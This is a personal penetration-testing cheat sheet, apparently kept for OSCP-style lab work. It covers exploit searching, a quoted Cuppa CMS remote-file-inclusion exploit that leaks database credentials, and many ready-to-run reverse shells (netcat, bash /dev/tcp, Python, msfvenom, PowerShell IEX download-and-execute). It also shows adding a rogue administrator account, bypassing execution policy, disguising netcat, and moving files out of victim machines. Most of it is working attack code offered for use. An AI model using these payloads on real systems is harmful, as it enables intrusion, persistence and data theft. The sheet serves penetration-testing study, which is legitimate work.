Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

2800 lines (1860 sloc) 109 KB

MS OFFICE Attacks/Recon

  • in phishing attacks were you think a user will open a word doc you can test insert canary image in WORD document to ping your box as a test
  • once Word opens it will attempt to connect to our webserver. If Macros aren't enabled shouldn't see anything downloaded

insert > quick parts > field > links and ref > include picture > http://10.10.10.11/test.jpg

Exploit Search

Google

ref: https://docs.google.com/document/d/1ydVaJJeL1EYbWtlfj9TPfBTE5IBADkQfZrQaBZxqXGs/mobilebasic?pli=1

  • "site:" operator can't have "*" wildcards

Exclude a site domain from a search

-site:symantec.com -site:tenable.com -site:microsoft.com

Query for vulns regarding java RMI registry defaults. Excluding sites we don't care about quoted phrases included verbatim

"java" "rmi" "registry" vuln* -"java_rmi_server" -site:cisco.com -site:vulners.com -site:oracle.com -site:rapid7.com -site:hak5.com -site:fortiguard.com -site:tenable.com -site:programcreek.com -site:mysonicwall.com -site:seclists.com -site:pitneybowes.com

Query excluding anything in a url almost like a site but doesn't have to be the domain

"java" "rmi" "registry" vuln* -"java_rmi_server" -inurl:cisco -inurl:rapid7

Query for java rmi default vuln using OR operator for terms to include in the text body and excluding irrellavent sites

"java" "rmi" "registry" intext:attack OR vuln OR poc OR exploit -java_rmi_server -site:cisco.com -site:vulners.com -site:oracle.com -site:rapid7.com -site:hak5.com -site:fortiguard.com -site:tenable.com -site:programcreek.com -site:mysonicwall.com -site:seclists.com -site:pitneybowes.com

optional using intext for the OR operator is almost like not using it at all above

"java" "rmi" "registry" intext:attack OR intext:vuln OR intext:poc OR intext:exploit -java_rmi_server -site:cisco.com -site:vulners.com -site:oracle.com -site:rapid7.com -site:hak5.com -site:fortiguard.com -site:tenable.com -site:programcreek.com -site:mysonicwall.com -site:seclists.com -site:pitneybowes.com

Searching known POC sites

  • ie I search for the CVE-2016-8743 apache vulnerability on most known code/upload sites where POCs are found

intext:2016-8743 site:github.com OR site:stackoverflow.com OR site:exploit-db.com

Kernel Exploit searches

  • get kernel info from "uname -a" ie; Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux and we only want the "2.6.31-14" part for a google search in exploit-db.com to see what hits or could be within range of kernels known for the dirty cow exploit for this instance

SearchSploit

After discovering applications or particular OS versions do a searchsploit to see if anything exists that can be utilized for attack
Some searches yield actual exploit code you can copy into a new file to tranfer to a target and run
https://securityonline.info/searchsploit-find-public-exploits-corresponding-vulnerable-software/
Read exploit file
-x, --examine  [EDB-ID]    Examine (aka opens) the exploit using $PAGER.
Copy the exploit
-m, --mirror   [EDB-ID]    Mirror (aka copies) an exploit to the current working directory.
import sh
#Searching For CUPPA CMS app vulnerabilities
search = sh.searchsploit("cuppa")#lookup exploits for sites or apps you discover
read = sh.cat('/usr/share/exploitdb/exploits/php/webapps/25971.txt') #read the exp 
--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
�[01;31m�[KCuppa�[m�[K CMS - '/alertConfigField.php' Lo | exploits/php/webapps/25971.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result

# Exploit Title   : Cuppa CMS File Inclusion
# Date            : 4 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version         : Beta
# Tested on       : Window and Linux

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /          
  / XXXXXX /
 (________(            
  `------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/alerts/alertConfigField.php (LINE: 22)

-----------------------------------------------------------------------------
LINE 22: 
        <?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------
    

#####################################################
DESCRIPTION
#####################################################

An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.

http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]

#####################################################
EXPLOIT
#####################################################

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Moreover, We could access Configuration.php source code via PHPStream 

For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------

Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------

Base64 Decode Output:
-----------------------------------------------------------------------------
<?php 
	class Configuration{
		public $host = "localhost";
		public $db = "cuppa";
		public $user = "root";
		public $password = "Db@dmin";
		public $table_prefix = "cu_";
		public $administrator_template = "default";
		public $list_limit = 25;
		public $token = "OBqIPqlFWf3X";
		public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
		public $upload_default_path = "media/uploadsFiles";
		public $maximum_file_size = "5242880";
		public $secure_login = 0;
		public $secure_login_value = "";
		public $secure_login_redirect = "";
	} 
?>
-----------------------------------------------------------------------------

Able to read sensitive information via File Inclusion (PHP Stream)

################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 
################################################################################################################
Creating a file from a discovered C++ exploit

#copy the known exploit code found in our searchsploit for FreeBSD 9.0 to a new file for upload to the target using FTP/HTTP or otherwise

cp /usr/share/exploitdb/exploits/freebsd/local/26368.c shells/priv.c

Converting Tab indented exploits to Space indented for Nano

  • has this issue when working on the zzz_exploit.py file and getting indentation errors when running it

expand -4 zzz_exploit.py > zzzoutput.py

Reverse Shells

  • you need to setup a listener like netcat, Then you need to execute code on the target machine that will call back to your listener and open you a shell to run commands with.

  • You need to know what your target machine will run, PHP?ASP?Python?CFM?Bash?Ncat?Java? there are various types of coding platforms that shells are made for and you can also use msfvenom to get the code from OffSec databases or do google searches for them.

  • Note: the shell might not be root but allow you to search for usernames/passwords for brute or open and modify files/services for further attack.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

#My Gathered shell code for various platforms.
!ls -l /root/shells/
total 332
-rwxr-xr-x 1 root root  2044 Jul 28 18:01 php_one_liner.php
-rwxr-xr-x 1 root root    77 Jul 25 23:26 phpshell.txt
-rwxr-xr-x 1 root root  2213 Jul 29 09:25 priv.c
-rwxr-xr-x 1 root root 38206 Jul  8 12:03 reverse1.asp
-rwxr-xr-x 1 root root 38266 Jul  8 12:20 reverse2.asp
-rwxr-xr-x 1 root root 38105 Jul  8 12:34 reverse2d.asp
-rwxr-xr-x 1 root root 73802 Jul 12 20:13 reverse2d.exe
-rwxr-xr-x 1 root root 38364 Jul  1 11:23 reverse2-non-meterpreter.asp
-rwxr-xr-x 1 root root 38517 Jul 13 21:43 reverse-meterpreter192.asp
-rwxr-xr-x 1 root root 38287 Jul 13 21:43 reverse-meterpreter.asp
-rwxr-xr-x 1 root root  1456 Jul 15 21:36 weeveley-ddos.php

Netcat

Get Banner from any port to determine versions of running apps

nc -nv 10.11.1.217 143 #gets the banner for port 143

Open netcat listener on port 4444 waiting for a callback from the target to get a shell

netcat -lvp 4444

Upload nc.exe and remotely connect to your listener(Windows)

locate nc.exe ----------first find your nc.exe that comes with Kali

  • (see ftp section for uploading it) assuming you already had another reverse shell running netcat is standalone run

  • command to run on the uploaded exe no install is required it runs. Make sure your listener is on.

nc.exe -e cmd.exe 10.11.0.192 443

  • may need to run exe's with the .\nc.exe method

.\ms15-051x64.exe ".\nc.exe -e cmd.exe 10.10.14.17 4444"

Linux Ncat Bind/reverse shells

https://netsec.ws/?p=292

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.50 4444 >/tmp/f

nc -e /bin/sh 10.0.0.1 1234

Change netcats name on victim bypass any executions of netcat directly

  • /dev/shm is the ram disk location to copy to and execute from
  • use any netcat commands with "mync" instead

cp /bin/nc /dev/shm/Mync

Socks proxy and Netcat

  • connecting to port 10000 on 10.1.1.1(disparate network)

nc --proxy 127.0.0.1:1081 --proxy-type socks4 10.1.1.1 10000

Multi/Handler

posgresql service start

msfconsole

use exploit/multi/handler

Curl

  • curl a bash script then pipe to bash for reverse shell

echo "bash -i >& /dev/tcp/10.11.0.46/4444 0>&1" > shell.sh

  • Start the http server and listener and perform RCE

curl http://10.10.14.17/shell.sh | bash

Msfvenom

http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/

https://github.com/Snifer/security-cheatsheets/blob/master/msfvenom

  • -e for encoding scheme ie; you can encode with base64 and also exclude chars that might not be accepted

  • -o <enter filename> for the output file or can use ">" param to stdout to a file also

  • -f enter the format ie: c(for C language)

  • Simply change to the output file type to get what is needed ie: aspx,exe,asp

Aspx/ASP reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 -f aspx -o shell-443.aspx

EXE/CMD Shell

  • pops a cmd shell even if running from powershell

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.17 LPORT=444 -f exe -o shell-444.exe

Linux Reverse C Shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.50 LPORT=443 -e x86/shikata_ga_nai -b "\x09\x0a\x0b\x0c\x0d\x20\xff" -f c

Linux Reverse Shell Binary

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.50 LPORT=443 -f elf -o shell.elf

Alpha Numerical encoded shell

msfvenom -p windows/shell_reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.10 LPORT=4444 > shell

Python Reverse Shell

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.74 LPORT=443 EXITFUNC=thread -f python -o shell.py

  • Python shell code with added NOP sleds for replacing shell code in an exploit to match same bytes

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.74 LPORT=443 EXITFUNC=thread -n 38 -f python

JSP/WAR Shell

  • used against tomcat war file uploads normally

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.50 LPORT=443 -f war -o shell.war

JavaScript Little Endian Reverse Shell

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.11.0.50 LPORT=5353 EXITFUNC=seh -f js_le

C reverse shell payload for x64 bit windows

msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.17 LPORT=449 -f c

C reverse shell payload for x86 bit windows w/bad chars encoded out using shikata_ga_nai encoder

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.192 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

Single Powershell Command execution command without output to python code

  • notice we need to escape the embedded quotes

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.10.14.17/RunThis.exe')\"" -e /x86/unicode_mixed -b '\x00\x80\x83' -f python

Single CMD command

  • code to add my user to the admin group

msfvenom -a x86 --platform Windows -p windows/exec CMD="cmd /c net user walter P@ssWORD1234 /add && net localgroup Administrators walter /add" -f python

  • ping is useful to verify execution

msfvenom -a x86 --platform Windows -p windows/exec CMD="cmd /c ping 10.11.0.50" -f js_le -n 135 -o ping.js

PHP shell for ncat

msfvenom -p php/reverse_php LHOST=10.10.14.17 LPORT=443 -e php/base64 -f raw -o shell.php

  • You will need to add a "<?php" to the begining and a "?>" to the end of the shell.php file for it to execute

Staged Payloads

  • use if you need a small initial byte size for replacing a shellcode maybe that you find on exploit-db but has to be small size
  • the initial payload calls back and downloads the rest
  • Multi-Handler for MSF is needed for these “windows/shell/reverse_tcp" as opposed to the unstaged "windows/shell_reverse_tcp"

Using Python

#CREATING A WINDOWS EXE GENERIC PAYLOAD FOR NETCAT
# Get the payload code in asp and specify your ipaddress and local port to reverse call back with
asp = sh.msfvenom('-p','windows/shell_reverse_tcp','LHOST=10.11.0.192','LPORT=443', '-f', 'asp','-o','/root/shells/shell-443.asp')
#CREATING A WINDOWS EXE GENERIC PAYLOAD FOR NETCAT
# Get the payload code in asp and specify your ipaddress and local port to reverse call back with
asp = sh.msfvenom('-p','windows/shell_reverse_tcp','LHOST=10.11.0.192','LPORT=443', '-f', 'exe','-o','/root/shells/shell-443.exe')

WebShells

  • you can use aspx and other built in shell into kali for upload and execution
  • /usr/share/webshells/aspx/cmdasp.aspx

PHP Shells

Weevely PHP shell

  • Use weevely after finding a php exploit simply generate the code upload it to the vulnerable server and call it via the weevely command line.
  • weevely obfuscates the code and provides a password to hide the details of your shell code

weevely generate <password> <path/to/file>

Example connecting to our uploaded php shell with the password curly

weevely http://10.10.10.150/templates/beez3/curly_weev.php curly

PHP one liner shell

  • shells/php_one_liner.php
  • just modify it to use your ip/port, good when used to execute against RFIs that append .php or soemthing

Python PTY Reverse Shells/Handler

  • python needs to be installed on victim machine
  • ~/shells/python-pty-shells
  • https://github.com/infodox/python-pty-shells
  • to use the tcp reverse shell basically code in your ip into it then upload to victim, then setup the handler and execute the script on the victim to get a full pty shell with tab completion etc

Reverse TCP shell

wget http://10.10.14.10:8081/tcp_pty_backconnect.py

Handler

python2 shells/python-pty-shells/tcp_pty_shell_handler.py -b 10.10.14.10:31337

SoCat handler

  • can use this instead

socat file:`tty`,echo=0,raw tcp4-listen:444

Excuting on victim

  • my modded version to supply a port for quick dynamic changes with the listener

python tcp_pty_backconnect_myport.py 450

Python One Liner for bash

  • scripted py file version can be found in shells/python_simple_reverse_shell.py (used in cases where i need to replace a file being executed by root. is also backwards compatible with python 2.5 and maybe older)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.3.42",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Powershell(Nishang)

  • pretty much download the repo and use their shells as Invoke commands from powershell on the victim
  • edit the invoke ps1 files to use your IP/port for call back basically see the example(within the ps1) and then append your modifications to the end of the file
  • ~/extra-tools/powershell/nishang/Shells
  • open netcat listener
  • If execution of scripts is still disabled execute ps1 scripts via teh remote IEX method calling your http server

Edit with your port and host

  • go to the very end

vi ~/shells/Invoke-PowerShellTcp.ps1

Using x64 powershell to run our tcp reverse shell

  • you will see an unrecognized cmdlet error unless you input the "." at the start of the script running within the same dir

%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe .\Invoke-PowerShellTcp.ps1

Set execution policy

  • for local system. this is normally not allowed

Set-ExecutionPolicy -ExecutionPolicy Bypass

  • only for current user. more likely allowed

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

Bypass execution policy restrictions with IEX method

  • will need to load the ps1 module scripts with the commmand invoked at the end

powershell "IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.17/Invoke-PowerShellTcp.ps1')"

  • 64 bit

%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.17/Invoke-PowerShellTcp.ps1')"

  • 32 bit

START /MIN /LOW CMD /C %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.Webclient).DownloadString('http://10.11.0.50/shells/Invoke-PowerShellTcp.ps1')"

Bash Shells

Bash shell to my kali IP port 4444 with background command(&)

bash -i >& /dev/tcp/10.11.0.46/4444 0>&1 &

Nodejsshell.py

  • ~/extra-tools/nodejsshell.py
  • generates reverse shell code for nodejs

nodejsshell.py 10.10.14.17 443

C Shell

  • something you can run on nix boxes by compiling then running for a reverse shell in case you need it
  • make sure to edit the .c file before compiling for your ipaddress and port to connect to from the victim

gcc reverseShell.c -o reverseShell

./reverseShell

Perl Shell

  • /root/oscp/lab-net2019/hosts/fc4/shells/perl-reverse-shell.pl

  • /root/oscp/lab-net2019/hosts/fc4/shells/perl-shell.cgi

  • basically just edit the port param and IP param to call back your IP and port.

vi perl-reverse-shell.pl

my $ip = '10.11.0.50';

my $port = 443;

Post Shell

Restricted Shells(rbash)

Find your shell type

  • look for exploits or escapes

echo $SHELL

supply bash as the shell to connect with

ssh mindy@10.10.10.51 -t "bash --noprofile"

ssh mindy@10.10.10.51 -t "/bin/bash"

Export to env PATH

export PATH=/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH

Break out into python shell

python -c 'import pty;pty.spawn("/bin/bash")'

lshell echo escape

  • particular to the "lshell"

echo os.system('/bin/bash')

Upgrade Shells

Other types of shells you can spawn

https://netsec.ws/?p=337
https://highon.coffee/blog/reverse-shell-cheat-sheet/
https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Get a TTY Shell needed to see your command sometimes like mysql shell. or using su to change users will prompt for tty

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

Telnet input/ouput to nc listener shell(3 screens needed)
nc -lvp 4444 # on attacker machine
nc -lvp 4445 # on attacker machine
telnet <attacker ip> 4444 | /bin/sh | telnet <attacker ip> 4445 #on victim run 
Bash shell to my kali IP port 4444 with background command(&)
bash -i >& /dev/tcp/10.11.0.46/4444 0>&1 &
Python reverse shell with background command(&) to keep currecnt shell open

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.46",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &

Start Shell in background in CMD

  • put commands in a cmd/bat script then use this to start it in the background ie;use ncat.exe

echo "nc.exe -e cmd.exe 10.10.14.17 444" > nc_exe.bat

  • on victim run

START /MIN /LOW CMD /C nc_exe.bat

MSF Migrate Process

  • if shells immediately die you either need to open something else quickly like nc.exe or add a user to log in with ssh/rdp or use this migrate feature of msf if all else fails

  • once the shell is caught be multihandler you must migrate the PID with this

meterpreter > run post/windows/manage/migrate

File Transfers

FTP Server

  • add write permissions for Anonymous user
  • -w provides write for the client connecting as anon. This includes bidirectional support

root@kali:~# source activate pentest

(pentest) root@kali:~# python -m pyftpdlib -w -p 21

    /root/anaconda3/envs/pentest/lib/python3.6/site-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
      RuntimeWarning)
    [I 2018-08-11 12:44:40] >>> starting FTP server on 0.0.0.0:21, pid=26739 <<<
    [I 2018-08-11 12:44:40] concurrency model: async
    [I 2018-08-11 12:44:40] masquerade (NAT) address: None
    [I 2018-08-11 12:44:40] passive ports: None

FTP connection back from Target machine to ours

cd into a directory with write priveleges for everyone checking with ls -l 
open your FTP server(ftp_attack notebook) with anonymous login set and get files

#FIND THE DIRECTORY WITH READ AND WRITE FOR EVERYONE (tmp) LOOKS GOOD $ ls -l var total 168 drwxr-xr-x 2 root wheel 512 Jan 3 2012 account drwxr-xr-x 4 root wheel 512 Jan 3 2012 at drwxr-x--- 2 root audit 512 Jan 3 2012 audit drwxrwxrwt 3 root wheel 1024 Jul 29 11:37 tmp

$ cd var $ mkdir tmp/test --------------------------TEST MAKING A DIR AND SEE NO ERRORS $ ls tmp-------------------verify dir was made

#FROM THE VITIM MACHINE FTP OVER AND GRAB EXPLOIT FILES #THE SIMPLE FTP CLIENT APP DOESN'T GIVE SUCCESS PROMPTS IF SOMETHING WORKED

if prompted for username enter "Anonymous" and no password just press enter

the username might also just be "anonymous" LOWERCASE AND IT MATTERS!

ftp 10.11.0.192: # sometimes here we need "ftp 10.11.0.192 21" dir drwx------ 2 root root 4096 Jul 24 02:44 .BurpSuite -rw------- 1 root root 4928 Jul 16 03:22 .ICEauthority -rw------- 1 root root 50 Jul 24 02:47 .Xauthority drwxr-xr-x 15 root root 4096 Jul 21 17:42 .ZAP drwxr-xr-x 3 root root 4096 Jun 13 04:35 .anaconda drwxr-xr-x 3 root root 4096 Jun 13 04:35 .astropy -rw------- 1 root root 81182 Jul 29 14:28 .bash_

#GET A FILE THAT WILL SAVE INTO OUR Current Dir on OUR TARGET MACHINE cd shells dir -rwxr-xr-x 1 root root 2044 Jul 29 01:01 php_one_liner.php -rwxr-xr-x 1 root root 77 Jul 26 06:26 phpshell.txt -rwxr-xr-x 1 root root 38287 Jul 14 04:43 reverse-meterpreter.asp -rwxr-xr-x 1 root root 38517 Jul 14 04:43 reverse-meterpreter192.asp -rwxr-xr-x 1 root root 38206 Jul 08 19:03 reverse1.asp -rwxr-xr-x 1 root root 38364 Jul 01 18:23 reverse2-non-meterpreter.asp -rwxr-xr-x 1 root root 38266 Jul 08 19:20 reverse2.asp -rwxr-xr-x 1 root root 38105 Jul 08 19:34 reverse2d.asp -rwxr-xr-x 1 root root 73802 Jul 13 03:13 reverse2d.exe -rwxr-xr-x 1 root root 1456 Jul 16 04:36 weeveley-ddos.php get phpshell.txt quit

#VERIFY YOU SEE YOUR FILE

$ ls phpshell.txt

Upload a binary or nc.exe

need to set binary mode

ftp> binary -------------------------------------------------------------------------------THIS SWITCHES TRANFERS TO BINARY MODE 200 Type set to I. ftp> put /usr/share/windows-binaries/nc.exe nc1.exe -------------if you don't specify output path it will assume the original path and fail

local: /usr/share/windows-binaries/nc.exe remote: nc1.exe 200 PORT command successful. 150 Opening BINARY mode data connection for nc1.exe. 226 Transfer complete. 59392 bytes sent in 0.21 secs (273.1224 kB/s) ftp> dir 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. 09-07-18 08:04PM 59584 nc.exe 09-07-18 08:31PM 59392 nc1.exe 226 Transfer complete

Download a binary for exploits using ftp script from windows target

ftp -s:ftp_commands.txt

building the script with echo

C:\Users\jarrieta\Desktop>echo open 10.9.122.8>ftp_commands.txt  
C:\Users\jarrieta\Desktop>echo anonymous>>ftp_commands.txt  
C:\Users\jarrieta\Desktop>echo whatever>>ftp_commands.txt  
C:\Users\jarrieta\Desktop>echo binary>>ftp_commands.txt  
C:\Users\jarrieta\Desktop>echo get met8888.exe>>ftp_commands.txt  
C:\Users\jarrieta\Desktop>echo bye>>ftp_commands.txt  
C:\Users\jarrieta\Desktop>ftp -s:ftp_commands.txt 

one liner

echo open 10.10.14.17>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get nc.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt

Exfiltrate multiple files

Mput

  • upload all txt files in my dir after running scripts for collection.
  • first turn off the prompt with simple "prompt" command

prompt

mput *.txt

Mget

cd priv-esc

prompt

mget * ./

Wget

  • gets all files in the specified directory

wget ftp://10.11.0.74/exploits/unix/CVE-2009-1894/* ---ftp-user=anonymous --ftp-password=""

Mount point to other tools to grab from the victim machine on your server

ref: http://www.ducea.com/2006/07/27/allowing-ftp-access-to-files-outside-the-home-directory-chroot/ * mkdir priv-esc-unix * mount --bind /root/priv-esc/unix/ priv-esc-unix

SFTP Server

Start server

source activate pentest

openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout /tmp/test_rsa.key

sftpserver -k CSR.csr

Connecting from victim

  • use my sshuser creds and it will upload to the "/home/sshuser/downloads"

sftp sshuser@10.11.0.50

mput *.txt

SMB Server

Serve up the "/root/shells/" directory on port 445 for anyone to connect with

smbserver.py ROPNOP /root/shells

Get SMB files

  • Windows smb client i can sue to verify smb shares on my server or others and copy files or exfiltrate them over
  • useful commands: dir/copy/move
  • Remote execution of files hosted on my attack box also works!

net view \\10.11.0.192\

  • searches for my shares on my box

copy \\10.11.0.192\ROPNOP\nc.exe

  • copies from the ROPNOP shared dir on my server probably linked to /root/shells or /root/extra-tools

File Explorer

  \\192.168.1.146\ropnop

CD or Set-location in Powershell

set-location \\192.168.1.146\ROPNOP\

Pipe output to the smbshare

netstat -ano > \10.10.14.17\ROPNOP\netstat.txt

Mount SMB Share with Powershell

  • mounting it from the victim side
  • this now allows ups to cd into the dir

New-PSDrive -Name "squidling" -PSProvider "FileSystem" -Root "\\10.11.0.74\ROPNOP"

cd squidling:\

HTTP Server

#START HTTP SERVER ON PORT 80 AND SERVE FILES FROM the Current directory
> python -m http.server 80
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
^C

Keyboard interrupt received, exiting.

Powershell

Powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.14.17/http.nmap','C:\temp\http.nmap')

  • Invoke a ps1 script directly being served from my HTTP server

powershell "IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.17/Invoke-PowerShellTcp.ps1')"

  • For newer powershell versions use this for downloading a binary

Invoke-WebRequest "http://192.168.24.31/shell449.dll" -Outfile "custom7.dll"

  • CMD

"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe\", "C:\Users\Public\Downloads\exploit.exe")"

Bash

  • UNIX
  • Wget with recursive to download all files I'm hosting on a dir

wget -r http://10.10/14.17/priv-esc/unix

Send/Upload Files HTTP Server

https://www.youtube.com/watch?v=7ifJOon5-G8&t=1189s

  • nginx listener is needed with WebDav PUT method enabled
  • /etc/nginx
  • Configuration files are used as symbolic links(/etc/nginx/sites-enabled) from /etc/nginx/sites-available
  • config file used is /etc/nginx/sites-available/file_upload
  • server port is currently 6021
  • files get uploaded to /var/www/upload

service nginx start

  • Using powershell to upload a file

Invoke-RestMethod -Method PUT -Uri "http://10.10.14.17:6021/Applocker.xml" -Body $output

  • Using Curl to upload a file

curl --upload-file smb.nmap 127.0.0.1:6021

Netcat

File Transfers

  • netcat/ncat needs to be installed on both machines

  • Attacking machine (opens a listner piping to a file)

nc -lp 1235 > captured.cap

  • also can use

nc -lvnp 999 > rick.wav

  • Victim (uploads the file to the waiting listener)

nc -w 3 10.10.14.2 1235 < captured.cap

nc 10.10.14.17 999 < rick.wav

  • use the md5sum to verify it all transfered

md5sum rick.wav

SCP

Put multiple files from remote target

https://stackoverflow.com/questions/30553428/copying-files-from-server-to-local-computer-using-ssh

scp *.txt carrie@10.1.1.236:/home/carrie/

Put file on remote target

scp -P 222 /home/carrie/passwd mario@10.1.1.1:/home/mario/passwd

TMUX

  • copy paste method.
  • see my kali linux environment notebook for copying and pasting output into a vi file then can xclip out to my normal clipboard

Compile C programs

differences between C and python: https://www.rose-hulman.edu/class/cs/csse120/Resources/C/Python_vs_C.html (Remember we will have to run .exe compiled programs from our windows box and attack the target from there, simple method is to upload using http and browse to it in IE)

Compile 32bit binary

gcc rdsexploit.c -m32 -o rds

install 32 bit compiler libraries if Failures occur

apt-get install gcc-multilib

Use this alternative command if you get a lirbaray missing or outdated issue on the target box

gcc -m32 -Wl,--hash-style=both 9542.c -o 9542

Compile 32bit program for Windows

i686-w64-mingw32-gcc 121.c -lws2_32 -o 121_exploit.exe

  OR

x86_64-w64-mingw32-gcc shell.c -o shell.exe

Compile 32bit C++ program

i686-w64-mingw32-g++ 11650.c -lws2_32 -o exploit

Compile 64bit program for Windows

i686-w64-mingw32-gcc shell.c -o shell.exe

Nix Compile Errors

Bad Register Name Errors

  • bad register name issues have meant wrong arch use "-m64" if using "-m32" in gcc command

bad ELF interpreter: No such file or directory

  • also bad arch but have only seen if I try and execute binary compiled with -m32 on an x86_64 machine compile without the -m32 because my machine will auto use x64

ld not found

  • "'ld'" not found by gcc error then run gcc from the usr/bin dir ie;

gcc -B /usr/bin ptrace-kmod.c -o p

undeclared (first use in this function) Errors

  • these appear if you didn't "define" the function OR didn't include an #include library
  • not sure why but some exploit in this openfuck.c made this happen

ie:

